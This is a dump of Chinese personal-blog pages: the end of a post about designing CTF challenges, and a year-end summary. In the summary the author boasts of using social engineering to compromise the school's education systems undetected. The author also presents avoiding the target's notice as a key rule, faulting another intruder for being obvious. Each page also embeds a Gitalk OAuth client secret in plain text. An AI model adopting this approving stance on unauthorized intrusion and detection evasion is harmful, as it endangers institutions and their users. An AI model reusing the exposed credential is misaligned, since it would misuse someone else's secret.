<p>第一题既然用了别人的思路,第二题自然要自己整点有意思的题目。在我弃坑<a href="https://github.com/Mabbs/Mabbs.Project">MaBBS</a>之前,我在项目中发现了严重的安全漏洞,那就是我的程序在创建比如贴子之类的东西是直接用标题作为文件名的,而且我最开始的时候没有做任何的过滤。当时我首先写了一个叫做<code class="language-plaintext highlighter-rouge">danw</code>的函数来过滤有可能出问题的字符但是我只给Wiki部分加了这个过滤函数。这是为啥呢是因为我当时想把贴子整成ID的形式然后把贴子的标题写到meta里面。可惜后来弃坑了就再也没有管这个问题只留下一句只有上帝才能看得懂这个代码就结束了MaBBS。也许<a href="/2019/07/01/mabbs.html">重建MaBBS的计划</a>也再也没有机会完成了毕竟失去了当时写程序的初心现在也只是会写程序罢了……emmmm有点跑题了。总之既然有这样的漏洞那我可以部署出来让我看看那些学信息安全的家伙到底是什么货色看看是真的只会按着解题思路来解题还是真的有分析代码的能力。结果也不出我所料果然全是一群废物除了我曾经告诉过漏洞的人除外没有一个人解出来。不过也正是因为我知道那个题有人可能知道答案所以分数也不会定很高不然我觉得这可能真的无人会解。</p>
<h2 id="第三题">
<a href="#第三题"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 第三题
</h2>
<p>第二题可能太原创了对于他们没有接触过实战的人来说不合适所以第三题我和另外一个学信安的朋友一起出这道题我们决定用APICloud他们公司的能力作为这道题难度的上限。APICloud有一个加密HTML源代码的功能目前我们在网上没有搜到已经破解的方案。不过如果网上无人会破那作为出题者的我们自己也破不出来啊……毕竟这个题要是没有方案能解那出题的意义就没有了而且万一要我们自己写WriteUp的话那不就尴尬了。所以我们换了一个思路用它加密本来就不考虑让其他人解密但是我们在里面偷偷放一个可以调试的工具在里面比如vConsole。然后给JS代码二次加密使得解题者只有一条路可以走那就是使用调试功能来干涉程序。这次我们写的是一个抽卡程序目标是点够20亿次才能抽出来。所以这里我们可以直接用调试工具来修改点击次数来实现获得flag其实也主要是我们自己不会才整的这种烂方案。不过这个也不算难发现的人稍微想一想就能解出来所以如果以后有机会我还想再提高一个难度不给vConsole而是写一个请求比如<code class="language-plaintext highlighter-rouge">https://example.com/hello.js</code>然后需要解题者劫持hello.js来实现修改变量这样才更有意思可惜这次出题没想到这一点所以只能出个比较简单的。不过那群信安的家伙真的还是不行这么简单的题居然只有一个队伍解出来不过他能解出来我也觉得挺不错的证明他的思维比较开阔不那么局限。</p>
<h1 id="出题感受和其他">
<a href="#出题感受和其他"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 出题感受和其他
</h1>
<p>这次CTF出题感觉还是挺有意思的而且挖坑还要想到自己怎么填这个也对找坑很有帮助。毕竟大多数情况真正的环境漏洞不会按常规路走能按常规路走的漏洞绝大多数情况都已经被人踏过了所以思维要开阔真正优秀的渗透工程师肯定是思路开阔想法很独特而目前那些学信安的就是一群思维固化除了解题不懂得其他东西的家伙以后找不到坑就等着背锅吧😂。 </p><p>
另外上个月末我还遇到一次很有意思的事情,有一个叫做<a href="https://icp.gov.moe/">萌国ICP备案</a>的网站有个XSS漏洞于是我和同在那个网站上的几个网友进行了一次XSS AWD大战为了自己链接的特效而战非常的有意思可惜这个月初我生病了没能记录下这有趣的事情等我过两天再次想写博客时就分享一下这个有趣的事情吧</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=CTF"><em>CTF</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E8%AE%B0%E5%BD%95"><em>记录</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-11-27-createctf.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/11/27/createctf.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/10/23/microsoft.html">
上一篇:微软产品使用体验与感想
</a>
</span>
<br />
<span class="next">
<a href="/2021/11/28/spam.html">
下一篇Mayx被拍了糟糕的视频
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/11/27/createctf', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/11/27/createctf.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

364
2021/11/28/spam.html Normal file

File diff suppressed because one or more lines are too long

312
2021/12/27/summary.html Normal file
View File

@@ -0,0 +1,312 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>年终总结 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="年终总结" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="年终,即为终结之日" />
<meta property="og:description" content="年终,即为终结之日" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-12-27T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="年终总结" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-12-27T00:00:00+08:00","datePublished":"2021-12-27T00:00:00+08:00","description":"年终,即为终结之日","headline":"年终总结","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/12/27/summary.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/12/27/summary.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/12/27/summary.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-12-27T00:00:00+08:00">27 December 2021</time> - 字数统计1707 - 阅读大约需要5分钟 - Hits: <span id="/2021/12/27/summary.html" class="visitors">Loading...</span></small>
<h1 class="p-name">年终总结</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Mon, 27 Dec 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章的作者在年终总结中回顾了一年在网络安全领域的学习和实习经历。虽然对网络安全有更深的理解意识到企业更倾向于实现功能和客户满意度但他也发现开源作品的安全问题如log4j2事件。在社团活动和个人项目中作者体验到检查代码的困难以及定制化产品的脆弱性。此外他还提到了在教育领域发生的入侵事件强调了社工原则的重要性。作者对于网络环境的变化感到担忧提到中国的网络发言和对外部封锁的变化对未来持保留态度但也表达了希望继续观察事态发展的态度。</p>
<hr />
<ul><li><a href="#预期的结束">预期的结束</a></li><li><a href="#an-unexpected-error-occurred-during-next-year">An unexpected error occurred during NEXT YEAR</a></li><li><a href="#其他想说的">其他想说的</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>年终,即为终结之日<!--more--></p>
<h1 id="预期的结束">
<a href="#预期的结束"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 预期的结束
</h1>
<p>这一年,似乎很精彩,但是我似乎忘记了一切。每年的结束我似乎都会忘记一切,唯有这博客可以让我回忆起一些。 </p><p>
在这一年,我对网络安全方面的知识似乎有了很大的提升,相比于之前,我写程序也可能更谨慎了,毕竟安全是最重要的。不过今年我也进行了实习,在实践当中,我发现其实安全也许并没有那么重要,作为企业,作为资本家,我们只需要实现功能,只要客户满意,安全什么的和我们有什么关系呢? </p><p>
当然,这只是在赚钱中必不可少的,安全这个东西还是非常费精力的。像作为社区产品,比如开源作品,我们可以宁愿周期更长,也想做出更好的作品。这么来看免费的东西反倒是更好?只是以更长的周期为代价罢了,我是这么认为的。 </p><p>
不过log4j2事件很明显证明了这可能不是正确的虽然我确实不喜欢Java不过看起来开源的作品也没有那么安全只是我觉得大家一起盯着看的产品如果有问题应该很容易发现这么想很明显我对认真的程序员有过多的幻想。程序还是很复杂的很少有人喜欢读别人写的代码。也正是如此在越复杂的作品中就越没人愿意检查它的代码尤其是写的很烂的代码这一点我已经用我的<a href="https://github.com/Mabbs/Mabbs.Project">MaBBS</a>证明过了我以前写的代码可以说是垃圾代码的典范了没有注释乱取变量名极高的耦合度各种小众的语法尤其用Shell做CGI本来就很小众了缩进也没有……最终果然也没人会好好看看我的代码看记录就都把我的论坛当黑盒玩呢。 </p><p>
另外今年我已经不在社团了,但是我得到的东西很多。尽管没有内存巨大的高性能服务器可以玩,不过玩别人的服务器倒是更有意思,尽管我不能用别人的服务器为世界做贡献,但是有时候自己用也挺不错的。也许正是因为这一点,我才会更重视网络安全吧。</p>
<h1 id="an-unexpected-error-occurred-during-next-year">
<a href="#an-unexpected-error-occurred-during-next-year"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> An unexpected error occurred during NEXT YEAR
</h1>
<p>在年末之时,实验发生了不可预期的错误。也许这是正常现象,我不知道这是预期的还是非预期的,但是作为我来说,我只会感到难受。 </p><p>
每个周期的结束,不是开始…… </p><p>
也许正是因为今年对网络安全的了解变得很多明白了很多定制化的东西其实很糟糕而且用的人越少可能越糟糕。这也许就是资本的原因吧没有人会花大力气在没有人用的地方投入更多。像用的多的程序开发商他们公司一般都会整SRC安全响应中心他们会花大价钱去完善自己的系统。定制化的东西就没有这种东西了他们不需要SRC他们有更好的方式他们只需要找到能推卸责任的人就可以找不到的话就杀一个程序员祭天好了😂。 </p><p>
在这个学期我基于我所了解的以及社工拿下了学校很多的现代教育基础设施而且无人发现因为我知道在社工方面有一个定论即只要不要太明显人类不会首先想到问题出在外面。现实中也确实是这样但是我忘了一件事那就是这个世界上其他人也能做出我无法预期的事情所以就在考试前我发现学校的教务系统被其他人入侵了而且入侵的特别明显他创建了一个加入了特别多权限组的用户当时我还不是很确信是不是有人入侵只是感觉学校不应该创建这么一个奇怪的用户。结果考试结束后我明白了是入侵没错连带着我一起炸了虽然我可以做出不那么明显的事情但是毕竟不那么明显不代表没有要是仔细看很容易就能看出来所以另外那个人违反了社工非常重要的一点那就是不要让对方警惕。如果打过一些ARPG的人应该知道在潜入过程中你做什么都可以但是一旦被敌人发现游戏就会立即结束。如果真的是游戏中可能不会有其他人可惜现实不是现实就是其他人打草惊蛇那么什么就都结束了。 </p><p>
这下明白为什么周期结束不是开始了吧,因为我不能预测未来,如果这个世界只有我一个人,那么世界就和游戏一样了。</p>
<h1 id="其他想说的">
<a href="#其他想说的"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 其他想说的
</h1>
<p>有时候可能环境会让我觉得我在高看我自己,可偶尔,我认为我被小看了……也许不是被小看了,而是我在自己否定自己的身份也说不定…… </p><p>
在这一年里,我不知道是我了解信息的渠道变多了,还是真的出现了问题,我感觉中国的网络发言真的是越来越奇怪了,奇怪的令我感到恐惧,甚至让我对未来失去希望,而中国对外界的封锁也越来越严重了,也许就和很多人所说的那样,什么大的要来了。我不知道是谁在规划着什么,如果实验还在继续,那么就让我看看未来的发展吧。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%80%BB%E7%BB%93"><em>总结</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-12-27-summary.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/12/27/summary.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/11/28/spam.html">
上一篇Mayx被拍了糟糕的视频
</a>
</span>
<br />
<span class="next">
<a href="/2022/01/04/banned.html">
下一篇Github封禁了我的博客
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/12/27/summary', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/12/27/summary.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>